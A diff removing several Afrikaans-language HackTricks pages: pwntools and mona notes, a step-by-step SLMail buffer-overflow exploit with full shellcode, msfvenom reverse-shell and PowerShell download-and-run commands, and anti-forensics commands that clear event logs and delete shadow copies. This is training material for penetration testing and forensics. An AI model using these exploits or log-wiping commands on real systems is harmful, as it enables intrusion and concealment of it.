!mona modules #Get protections, look for all false except last one (Dll of SO)
|
||||
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
|
||||
```
|
||||
## IDA
|
||||
|
||||
### Foutopsporing in afstand linux
|
||||
|
||||
Binne die IDA-gids kan jy binaire lêers vind wat gebruik kan word om 'n binêre lêer binne 'n linux te foutopspoor. Om dit te doen, skuif die binêre _linux_server_ of _linux_server64_ binne die linux-bediener en voer dit uit binne die gids wat die binêre lêer bevat:
|
||||
```
|
||||
./linux_server64 -Ppass
|
||||
```
|
||||
Dan, konfigureer die debugger: Debugger (linux remote) --> Proses opsies...:
|
||||
|
||||
.png>)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,146 +0,0 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
```
|
||||
pip3 install pwntools
|
||||
```
|
||||
# Pwn asm
|
||||
|
||||
Kry opcodes van lyn of lêer.
|
||||
```
|
||||
pwn asm "jmp esp"
|
||||
pwn asm -i <filepath>
|
||||
```
|
||||
**Kan kies:**
|
||||
|
||||
- uitvoer tipe (raw, hex, string, elf)
|
||||
- uitvoer lêer konteks (16, 32, 64, linux, windows...)
|
||||
- vermy bytes (nuwe lyne, null, 'n lys)
|
||||
- kies kodering debug shellcode met gdb om die uitvoer te loop
|
||||
|
||||
# **Pwn checksec**
|
||||
|
||||
Checksec skrip
|
||||
```
|
||||
pwn checksec <executable>
|
||||
```
|
||||
# Pwn constgrep
|
||||
|
||||
# Pwn cyclic
|
||||
|
||||
Kry 'n patroon
|
||||
```
|
||||
pwn cyclic 3000
|
||||
pwn cyclic -l faad
|
||||
```
|
||||
**Kan kies:**
|
||||
|
||||
- Die gebruikte alfabet (kleinletters per standaard)
|
||||
- Lengte van unieke patroon (standaard 4)
|
||||
- konteks (16,32,64,linux,windows...)
|
||||
- Neem die offset (-l)
|
||||
|
||||
# Pwn debug
|
||||
|
||||
Koppel GDB aan 'n proses
|
||||
```
|
||||
pwn debug --exec /bin/bash
|
||||
pwn debug --pid 1234
|
||||
pwn debug --process bash
|
||||
```
|
||||
**Kan kies:**
|
||||
|
||||
- Deur uitvoerbare, deur naam of deur pid-konteks (16,32,64,linux,windows...)
|
||||
- gdbscript om uit te voer
|
||||
- sysrootpad
|
||||
|
||||
# Pwn disablenx
|
||||
|
||||
Deaktiveer nx van 'n binêre
|
||||
```
|
||||
pwn disablenx <filepath>
|
||||
```
|
||||
# Pwn disasm
|
||||
|
||||
Disas hex opcodes
|
||||
```
|
||||
pwn disasm ffe4
|
||||
```
|
||||
**Kan kies:**
|
||||
|
||||
- konteks (16,32,64,linux,windows...)
|
||||
- basis adres
|
||||
- kleur (standaard)/geen kleur
|
||||
|
||||
# Pwn elfdiff
|
||||
|
||||
Druk verskille tussen 2 lêers uit
|
||||
```
|
||||
pwn elfdiff <file1> <file2>
|
||||
```
|
||||
# Pwn hex
|
||||
|
||||
Kry hexadesimale voorstelling
|
||||
```bash
|
||||
pwn hex hola #Get hex of "hola" ascii
|
||||
```
|
||||
# Pwn phd
|
||||
|
||||
Kry hexdump
|
||||
```
|
||||
pwn phd <file>
|
||||
```
|
||||
**Kan kies:**
|
||||
|
||||
- Aantal bytes om te wys
|
||||
- Aantal bytes per lyn beklemtoon byte
|
||||
- Slaan bytes aan die begin oor
|
||||
|
||||
# Pwn pwnstrip
|
||||
|
||||
# Pwn scrable
|
||||
|
||||
# Pwn shellcraft
|
||||
|
||||
Kry shellcodes
|
||||
```
|
||||
pwn shellcraft -l #List shellcodes
|
||||
pwn shellcraft -l amd #Shellcode with amd in the name
|
||||
pwn shellcraft -f hex amd64.linux.sh #Create in C and run
|
||||
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
|
||||
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
|
||||
```
|
||||
**Kan kies:**
|
||||
|
||||
- shellcode en argumente vir die shellcode
|
||||
- Uitvoer lêer
|
||||
- uitvoerformaat
|
||||
- foutopsporing (heg dbg aan shellcode)
|
||||
- voor (foutopsporing val voor kode)
|
||||
- na
|
||||
- vermy die gebruik van opcodes (standaard: nie nul en nuwe lyn)
|
||||
- Voer die shellcode uit
|
||||
- Kleur/geen kleur
|
||||
- lys syscalls
|
||||
- lys moontlike shellcodes
|
||||
- Genereer ELF as 'n gedeelde biblioteek
|
||||
|
||||
# Pwn sjabloon
|
||||
|
||||
Kry 'n python sjabloon
|
||||
```
|
||||
pwn template
|
||||
```
|
||||
**Kan kies:** gasheer, poort, gebruiker, wagwoord, pad en stil
|
||||
|
||||
# Pwn unhex
|
||||
|
||||
Van hex na string
|
||||
```
|
||||
pwn unhex 686f6c61
|
||||
```
|
||||
# Pwn opdatering
|
||||
|
||||
Om pwntools op te dateer
|
||||
```
|
||||
pwn update
|
||||
```
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,237 +0,0 @@
|
||||
# Windows Exploiting (Basic Guide - OSCP lvl)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **Begin om die SLMail diens te installeer**
|
||||
|
||||
## Herbegin SLMail diens
|
||||
|
||||
Elke keer wanneer jy die **SLMail diens moet herbegin** kan jy dit doen met die Windows-konsol:
|
||||
```
|
||||
net start slmail
|
||||
```
|
||||
 (1).png>)
|
||||
|
||||
## Baie basiese python ontploffing sjabloon
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
|
||||
import socket
|
||||
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
ip = '10.11.25.153'
|
||||
port = 110
|
||||
|
||||
buffer = 'A' * 2700
|
||||
try:
|
||||
print "\nLaunching exploit..."
|
||||
s.connect((ip, port))
|
||||
data = s.recv(1024)
|
||||
s.send('USER username' +'\r\n')
|
||||
data = s.recv(1024)
|
||||
s.send('PASS ' + buffer + '\r\n')
|
||||
print "\nFinished!."
|
||||
except:
|
||||
print "Could not connect to "+ip+":"+port
|
||||
```
|
||||
## **Verander Immunity Debugger Lettertipe**
|
||||
|
||||
Gaan na `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
|
||||
|
||||
## **Koppel die proses aan Immunity Debugger:**
|
||||
|
||||
**File --> Attach**
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
**En druk START knoppie**
|
||||
|
||||
## **Stuur die exploit en kyk of EIP geraak word:**
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
Elke keer as jy die diens breek, moet jy dit herbegin soos aangedui aan die begin van hierdie bladsy.
|
||||
|
||||
## Skep 'n patroon om die EIP te verander
|
||||
|
||||
Die patroon moet so groot wees soos die buffer wat jy gebruik het om die diens voorheen te breek.
|
||||
|
||||
 (1) (1).png>)
|
||||
```
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
|
||||
```
|
||||
Verander die buffer van die exploit en stel die patroon in en begin die exploit.
|
||||
|
||||
'n Nuwe krag moet verskyn, maar met 'n ander EIP-adres:
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
Kontroleer of die adres in jou patroon was:
|
||||
|
||||
 (1) (1).png>)
|
||||
```
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
|
||||
```
|
||||
Dit lyk of **ons die EIP in offset 2606** van die buffer kan wysig.
|
||||
|
||||
Kontroleer dit deur die buffer van die exploit te wysig:
|
||||
```
|
||||
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
|
||||
```
|
||||
Met hierdie buffer het die EIP gekraak en moet na 42424242 ("BBBB") wys.
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
Dit lyk of dit werk.
|
||||
|
||||
## Kontroleer vir Shellcode ruimte binne die stapel
|
||||
|
||||
600B behoort genoeg te wees vir enige kragtige shellcode.
|
||||
|
||||
Kom ons verander die buffer:
|
||||
```
|
||||
buffer = 'A'*2606 + 'BBBB' + 'C'*600
|
||||
```
|
||||
laai die nuwe exploit en kyk na die EBP en die lengte van die nuttige shellcode
|
||||
|
||||
 (1).png>)
|
||||
|
||||
 (1).png>)
|
||||
|
||||
Jy kan sien dat wanneer die kwesbaarheid bereik word, die EBP na die shellcode wys en dat ons baie ruimte het om 'n shellcode hier te plaas.
|
||||
|
||||
In hierdie geval het ons **van 0x0209A128 tot 0x0209A2D6 = 430B.** Genoeg.
|
||||
|
||||
## Kontroleer vir slegte karakters
|
||||
|
||||
Verander weer die buffer:
|
||||
```
|
||||
badchars = (
|
||||
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
|
||||
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
|
||||
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
|
||||
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
|
||||
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
|
||||
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
|
||||
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
|
||||
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
|
||||
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
|
||||
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
|
||||
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
|
||||
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
|
||||
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
|
||||
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
|
||||
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
|
||||
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
|
||||
)
|
||||
buffer = 'A'*2606 + 'BBBB' + badchars
|
||||
```
|
||||
Die badchars begin by 0x01 omdat 0x00 amper altyd sleg is.
|
||||
|
||||
Voer herhaaldelik die exploit uit met hierdie nuwe buffer deur die karakters wat nutteloos blyk te wees, te verwyder:
|
||||
|
||||
Byvoorbeeld:
|
||||
|
||||
In hierdie geval kan jy sien dat **jy nie die karakter 0x0A moet gebruik nie** (niks word in geheue gestoor nie aangesien die karakter 0x09).
|
||||
|
||||
 (1).png>)
|
||||
|
||||
In hierdie geval kan jy sien dat **die karakter 0x0D vermy word**:
|
||||
|
||||
 (1).png>)
|
||||
|
||||
## Vind 'n JMP ESP as 'n terugadres
|
||||
|
||||
Gebruik:
|
||||
```
|
||||
!mona modules #Get protections, look for all false except last one (Dll of SO)
|
||||
```
|
||||
U sal **die geheue kaarte** **lys**. Soek vir 'n DLl wat het:
|
||||
|
||||
- **Rebase: Vals**
|
||||
- **SafeSEH: Vals**
|
||||
- **ASLR: Vals**
|
||||
- **NXCompat: Vals**
|
||||
- **OS Dll: Waar**
|
||||
|
||||
 (1).png>)
|
||||
|
||||
Nou, binne hierdie geheue moet u 'n paar JMP ESP bytes vind, om dit te doen voer uit:
|
||||
```
|
||||
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
|
||||
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
|
||||
```
|
||||
**Dan, as 'n adres gevind word, kies een wat geen badchar bevat nie:**
|
||||
|
||||
 (1).png>)
|
||||
|
||||
**In hierdie geval, byvoorbeeld: \_0x5f4a358f**\_
|
||||
|
||||
## Skep shellcode
|
||||
```
|
||||
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
|
||||
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
|
||||
```
|
||||
As die exploit nie werk nie, maar dit behoort te werk (jy kan met ImDebg sien dat die shellcode bereik word), probeer om ander shellcodes te skep (msfvenom met verskillende shellcodes vir dieselfde parameters).
|
||||
|
||||
**Voeg 'n paar NOPS aan die begin** van die shellcode by en gebruik dit en die terugkeeradres om JMP ESP te doen, en voltooi die exploit:
|
||||
```bash
|
||||
#!/usr/bin/python
|
||||
|
||||
import socket
|
||||
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
ip = '10.11.25.153'
|
||||
port = 110
|
||||
|
||||
shellcode = (
|
||||
"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
|
||||
"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b"
|
||||
"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4"
|
||||
"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6"
|
||||
"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4"
|
||||
"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36"
|
||||
"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9"
|
||||
"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19"
|
||||
"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef"
|
||||
"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78"
|
||||
"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85"
|
||||
"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4"
|
||||
"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35"
|
||||
"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71"
|
||||
"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8"
|
||||
"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf"
|
||||
"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a"
|
||||
"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5"
|
||||
"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25"
|
||||
"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4"
|
||||
"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1"
|
||||
"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a"
|
||||
"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d"
|
||||
"\x2d\xb8\x63\xe2\x4e\xe9"
|
||||
)
|
||||
|
||||
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
|
||||
try:
|
||||
print "\nLaunching exploit..."
|
||||
s.connect((ip, port))
|
||||
data = s.recv(1024)
|
||||
s.send('USER username' +'\r\n')
|
||||
data = s.recv(1024)
|
||||
s.send('PASS ' + buffer + '\r\n')
|
||||
print "\nFinished!."
|
||||
except:
|
||||
print "Could not connect to "+ip+":"+port
|
||||
```
|
||||
> [!WARNING]
|
||||
> Daar is shellcodes wat **hulle self oorskryf**, daarom is dit belangrik om altyd 'n paar NOPs voor die shellcode by te voeg.
|
||||
|
||||
## Verbetering van die shellcode
|
||||
|
||||
Voeg hierdie parameters by:
|
||||
```
|
||||
EXITFUNC=thread -e x86/shikata_ga_nai
|
||||
```
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,82 +0,0 @@
|
||||
# Basiese Forensiese Metodologie
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Skep en Monteer 'n Beeld
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md
|
||||
{{#endref}}
|
||||
|
||||
## Malware Analise
|
||||
|
||||
Dit **is nie noodsaaklik die eerste stap om uit te voer sodra jy die beeld het nie**. Maar jy kan hierdie malware analise tegnieke onafhanklik gebruik as jy 'n lêer, 'n lêer-stelsel beeld, geheue beeld, pcap... het, so dit is goed om **hierdie aksies in gedagte te hou**:
|
||||
|
||||
{{#ref}}
|
||||
malware-analysis.md
|
||||
{{#endref}}
|
||||
|
||||
## Inspekteer 'n Beeld
|
||||
|
||||
As jy 'n **forensiese beeld** van 'n toestel ontvang, kan jy begin **analiseer die partisies, lêer-stelsel** wat gebruik word en **herstel** moontlik **interessante lêers** (selfs verwyderde). Leer hoe in:
|
||||
|
||||
{{#ref}}
|
||||
partitions-file-systems-carving/
|
||||
{{#endref}}
|
||||
|
||||
Afhangende van die gebruikte OS's en selfs platform, moet verskillende interessante artefakte gesoek word:
|
||||
|
||||
{{#ref}}
|
||||
windows-forensics/
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
linux-forensics.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
docker-forensics.md
|
||||
{{#endref}}
|
||||
|
||||
## Diep inspeksie van spesifieke lêer-tipes en Sagteware
|
||||
|
||||
As jy 'n baie **verdagte** **lêer** het, dan **afhangende van die lêer-tipe en sagteware** wat dit geskep het, kan verskeie **tricks** nuttig wees.\
|
||||
Lees die volgende bladsy om 'n paar interessante truuks te leer:
|
||||
|
||||
{{#ref}}
|
||||
specific-software-file-type-tricks/
|
||||
{{#endref}}
|
||||
|
||||
Ek wil 'n spesiale vermelding maak van die bladsy:
|
||||
|
||||
{{#ref}}
|
||||
specific-software-file-type-tricks/browser-artifacts.md
|
||||
{{#endref}}
|
||||
|
||||
## Geheue Dump Inspekteer
|
||||
|
||||
{{#ref}}
|
||||
memory-dump-analysis/
|
||||
{{#endref}}
|
||||
|
||||
## Pcap Inspekteer
|
||||
|
||||
{{#ref}}
|
||||
pcap-inspection/
|
||||
{{#endref}}
|
||||
|
||||
## **Anti-Forensiese Tegnieke**
|
||||
|
||||
Hou in gedagte die moontlike gebruik van anti-forensiese tegnieke:
|
||||
|
||||
{{#ref}}
|
||||
anti-forensic-techniques.md
|
||||
{{#endref}}
|
||||
|
||||
## Bedreiging Jag
|
||||
|
||||
{{#ref}}
|
||||
file-integrity-monitoring.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,151 +0,0 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
# Tydstempels
|
||||
|
||||
'n Aanvaller mag belangstel in **die verandering van die tydstempels van lêers** om nie opgespoor te word nie.\
|
||||
Dit is moontlik om die tydstempels binne die MFT in die eienskappe `$STANDARD_INFORMATION`**en**`$FILE_NAME` te vind.
|
||||
|
||||
Albei eienskappe het 4 tydstempels: **Wysiging**, **toegang**, **skepping**, en **MFT registrasie wysiging** (MACE of MACB).
|
||||
|
||||
**Windows verkenner** en ander gereedskap wys die inligting van **`$STANDARD_INFORMATION`**.
|
||||
|
||||
## TimeStomp - Anti-forensiese Gereedskap
|
||||
|
||||
Hierdie gereedskap **wysig** die tydstempel inligting binne **`$STANDARD_INFORMATION`** **maar** **nie** die inligting binne **`$FILE_NAME`** nie. Daarom is dit moontlik om **verdagte** **aktiwiteit** te **identifiseer**.
|
||||
|
||||
## Usnjrnl
|
||||
|
||||
Die **USN Journal** (Update Sequence Number Journal) is 'n kenmerk van die NTFS (Windows NT lêerstelsel) wat volume veranderinge opneem. Die [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) gereedskap maak dit moontlik om hierdie veranderinge te ondersoek.
|
||||
|
||||
.png>)
|
||||
|
||||
Die vorige beeld is die **uitset** wat deur die **gereedskap** gewys word waar dit waargeneem kan word dat sommige **veranderinge gemaak is** aan die lêer.
|
||||
|
||||
## $LogFile
|
||||
|
||||
**Alle metadata veranderinge aan 'n lêerstelsel word gelog** in 'n proses bekend as [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). Die gelogde metadata word in 'n lêer genaamd `**$LogFile**`, geleë in die wortelgids van 'n NTFS lêerstelsel, gehou. Gereedskap soos [LogFileParser](https://github.com/jschicht/LogFileParser) kan gebruik word om hierdie lêer te ontleed en veranderinge te identifiseer.
|
||||
|
||||
.png>)
|
||||
|
||||
Weer eens, in die uitset van die gereedskap is dit moontlik om te sien dat **sommige veranderinge gemaak is**.
|
||||
|
||||
Met dieselfde gereedskap is dit moontlik om te identifiseer **tot watter tyd die tydstempels gewysig is**:
|
||||
|
||||
.png>)
|
||||
|
||||
- CTIME: Lêer se skeppingstyd
|
||||
- ATIME: Lêer se wysigingstyd
|
||||
- MTIME: Lêer se MFT registrasie wysiging
|
||||
- RTIME: Lêer se toegangstyd
|
||||
|
||||
## `$STANDARD_INFORMATION` en `$FILE_NAME` vergelyking
|
||||
|
||||
'n Ander manier om verdagte gewysigde lêers te identifiseer, sou wees om die tyd op albei eienskappe te vergelyk op soek na **verskille**.
|
||||
|
||||
## Nanosekondes
|
||||
|
||||
**NTFS** tydstempels het 'n **presisie** van **100 nanosekondes**. Dan, om lêers met tydstempels soos 2010-10-10 10:10:**00.000:0000 te vind is baie verdag**.
|
||||
|
||||
## SetMace - Anti-forensiese Gereedskap
|
||||
|
||||
Hierdie gereedskap kan albei eienskappe `$STARNDAR_INFORMATION` en `$FILE_NAME` wysig. egter, vanaf Windows Vista, is dit nodig vir 'n lewende OS om hierdie inligting te wysig.
|
||||
|
||||
# Data Versteeking
|
||||
|
||||
NFTS gebruik 'n kluster en die minimum inligting grootte. Dit beteken dat as 'n lêer 'n kluster en 'n half gebruik, die **oorblywende half nooit gebruik gaan word** totdat die lêer verwyder word. Dan is dit moontlik om **data in hierdie slack ruimte te versteek**.
|
||||
|
||||
Daar is gereedskap soos slacker wat toelaat om data in hierdie "versteekte" ruimte te versteek. egter, 'n ontleding van die `$logfile` en `$usnjrnl` kan wys dat sommige data bygevoeg is:
|
||||
|
||||
.png>)
|
||||
|
||||
Dan is dit moontlik om die slack ruimte te herwin met gereedskap soos FTK Imager. Let daarop dat hierdie tipe gereedskap die inhoud obfuskeer of selfs versleuteld kan stoor.
|
||||
|
||||
# UsbKill
|
||||
|
||||
Dit is 'n gereedskap wat die **rekenaar sal afskakel as enige verandering in die USB** poorte opgespoor word.\
|
||||
'n Manier om dit te ontdek, sou wees om die lopende prosesse te inspekteer en **elke python skrip wat loop te hersien**.
|
||||
|
||||
# Lewende Linux Verspreidings
|
||||
|
||||
Hierdie distros word **binne die RAM** geheue uitgevoer. Die enigste manier om hulle te ontdek is **as die NTFS lêerstelsel met skryf regte gemonteer is**. As dit net met lees regte gemonteer is, sal dit nie moontlik wees om die indringing te ontdek nie.
|
||||
|
||||
# Veilige Verwydering
|
||||
|
||||
[https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization)
|
||||
|
||||
# Windows Konfigurasie
|
||||
|
||||
Dit is moontlik om verskeie Windows logging metodes te deaktiveer om die forensiese ondersoek baie moeiliker te maak.
|
||||
|
||||
## Deaktiveer Tydstempels - UserAssist
|
||||
|
||||
Dit is 'n registriesleutel wat datums en ure behou wanneer elke eksekutabele deur die gebruiker uitgevoer is.
|
||||
|
||||
Deaktivering van UserAssist vereis twee stappe:
|
||||
|
||||
1. Stel twee registriesleutels, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` en `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, albei op nul om aan te dui dat ons wil hê UserAssist moet gedeaktiveer word.
|
||||
2. Maak jou registriesubbome skoon wat lyk soos `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>`.
|
||||
|
||||
## Deaktiveer Tydstempels - Prefetch
|
||||
|
||||
Dit sal inligting oor die toepassings wat uitgevoer is, stoor met die doel om die prestasie van die Windows stelsel te verbeter. egter, dit kan ook nuttig wees vir forensiese praktyke.
|
||||
|
||||
- Voer `regedit` uit
|
||||
- Kies die lêer pad `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
|
||||
- Regsklik op beide `EnablePrefetcher` en `EnableSuperfetch`
|
||||
- Kies Wysig op elkeen van hierdie om die waarde van 1 (of 3) na 0 te verander
|
||||
- Herbegin
|
||||
|
||||
## Deaktiveer Tydstempels - Laaste Toegangstyd
|
||||
|
||||
Wanneer 'n gids vanaf 'n NTFS volume op 'n Windows NT bediener geopen word, neem die stelsel die tyd om **'n tydstempelveld op elke gelysde gids op te dateer**, genaamd die laaste toegangstyd. Op 'n intensief gebruikte NTFS volume kan dit prestasie beïnvloed.
|
||||
|
||||
1. Maak die Registrie Redigeerder (Regedit.exe) oop.
|
||||
2. Blaai na `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`.
|
||||
3. Soek na `NtfsDisableLastAccessUpdate`. As dit nie bestaan nie, voeg hierdie DWORD by en stel die waarde op 1, wat die proses sal deaktiveer.
|
||||
4. Sluit die Registrie Redigeerder, en herbegin die bediener.
|
||||
|
||||
## Verwyder USB Geskiedenis
|
||||
|
||||
Alle **USB Toestel Inskrywings** word in die Windows Registrie onder die **USBSTOR** registriesleutel gestoor wat sub sleutels bevat wat geskep word wanneer jy 'n USB Toestel in jou PC of Laptop inprop. Jy kan hierdie sleutel hier vind `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Deletie hiervan** sal die USB geskiedenis verwyder.\
|
||||
Jy kan ook die gereedskap [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) gebruik om seker te maak jy het dit verwyder (en om dit te verwyder).
|
||||
|
||||
'n Ander lêer wat inligting oor die USB's stoor, is die lêer `setupapi.dev.log` binne `C:\Windows\INF`. Dit moet ook verwyder word.
|
||||
|
||||
## Deaktiveer Skadu Kopieë
|
||||
|
||||
**Lys** skadu kopieë met `vssadmin list shadowstorage`\
|
||||
**Verwyder** hulle deur `vssadmin delete shadow`
|
||||
|
||||
Jy kan hulle ook via GUI verwyder deur die stappe voor te stel in [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)
|
||||
|
||||
Om skadu kopieë te deaktiveer [stappe van hier](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
|
||||
|
||||
1. Maak die Dienste program oop deur "dienste" in die teks soekboks te tik nadat jy op die Windows startknoppie geklik het.
|
||||
2. Vind "Volume Shadow Copy" in die lys, kies dit, en toegang eienskappe deur regsklik.
|
||||
3. Kies Gedeaktiveer van die "Opstart tipe" keuselys, en bevestig die verandering deur Toepas en OK te klik.
|
||||
|
||||
Dit is ook moontlik om die konfigurasie van watter lêers in die skadu kopie gaan wees, in die registrasie `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` te wysig.
|
||||
|
||||
## Oorskryf verwyderde lêers
|
||||
|
||||
- Jy kan 'n **Windows gereedskap** gebruik: `cipher /w:C` Dit sal cipher aanwys om enige data uit die beskikbare ongebruikte skyfspasie binne die C skyf te verwyder.
|
||||
- Jy kan ook gereedskap soos [**Eraser**](https://eraser.heidi.ie) gebruik.
|
||||
|
||||
## Verwyder Windows gebeurtenis logs
|
||||
|
||||
- Windows + R --> eventvwr.msc --> Brei "Windows Logs" uit --> Regsklik op elke kategorie en kies "Log Maak Skoon"
|
||||
- `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"`
|
||||
- `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }`
|
||||
|
||||
## Deaktiveer Windows gebeurtenis logs
|
||||
|
||||
- `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f`
|
||||
- Binne die dienste afdeling deaktiveer die diens "Windows Event Log"
|
||||
- `WEvtUtil.exec clear-log` of `WEvtUtil.exe cl`
|
||||
|
||||
## Deaktiveer $UsnJrnl
|
||||
|
||||
- `fsutil usn deletejournal /d c:`
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,96 +0,0 @@
|
||||
# Docker Forensics
|
